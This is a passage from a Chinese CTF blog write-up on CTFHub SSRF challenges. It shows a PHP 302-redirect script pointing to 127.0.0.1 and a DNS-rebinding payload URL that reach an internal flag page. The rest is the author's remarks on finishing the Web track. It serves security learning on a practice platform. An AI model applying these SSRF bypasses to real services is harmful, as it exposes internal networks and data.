
http://spoofed.burpcollaborator.net/flag.php

使用302重定向,这里使用的我自己的服务器,域名lawking.top,脚本文件名为1.php,内容如下:

<?php
    header("Location: http://127.0.0.1/flag.php");
    exit();
?>

不过测试完后就已经删除,如需使用这种方法请自行在自己的服务器上面部署该脚本,会返回响应头重定向到对应页面

第三种就是我用我自己的域名整的,不过为了防止有人乱搞,我在做完这题时就已经删除文件,代码也放出来了,自己想用就自己搭建服务器部署

DNS重绑定 Bypass

题目:

关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

考点:

  • DNS重绑定
  • SSRF基础

解题思路:

前面讲过原理我就不多赘述了,看之前的那篇文章即可

这里直接使用在线网站,设置A为内网ip,B为外网ip,服务器第一次解析绕过过滤,第二次解析直接访问到内部网络 ,成功绕过:

https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg
payload:
http://challenge-fba703255e6af66a.sandbox.ctfhub.com:10800/?url=7f000001.36573657.rbndr.us/flag.php

成功夺旗!

CTFHub Web 分支

目前已经做完所有Web分支的题目,底下还有一个Web进阶没做,接下来打算刷其他平台的比赛题目增长经验和学习技巧了

最后呢,明天就是我的生日,在此之前成功通关,还是很有意义的,接下来我打算停一下,晚点吃完饭和明天休息或者写我之前想写的一个工具,然后就不刷题了,从25号再开始刷其他平台的题目

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇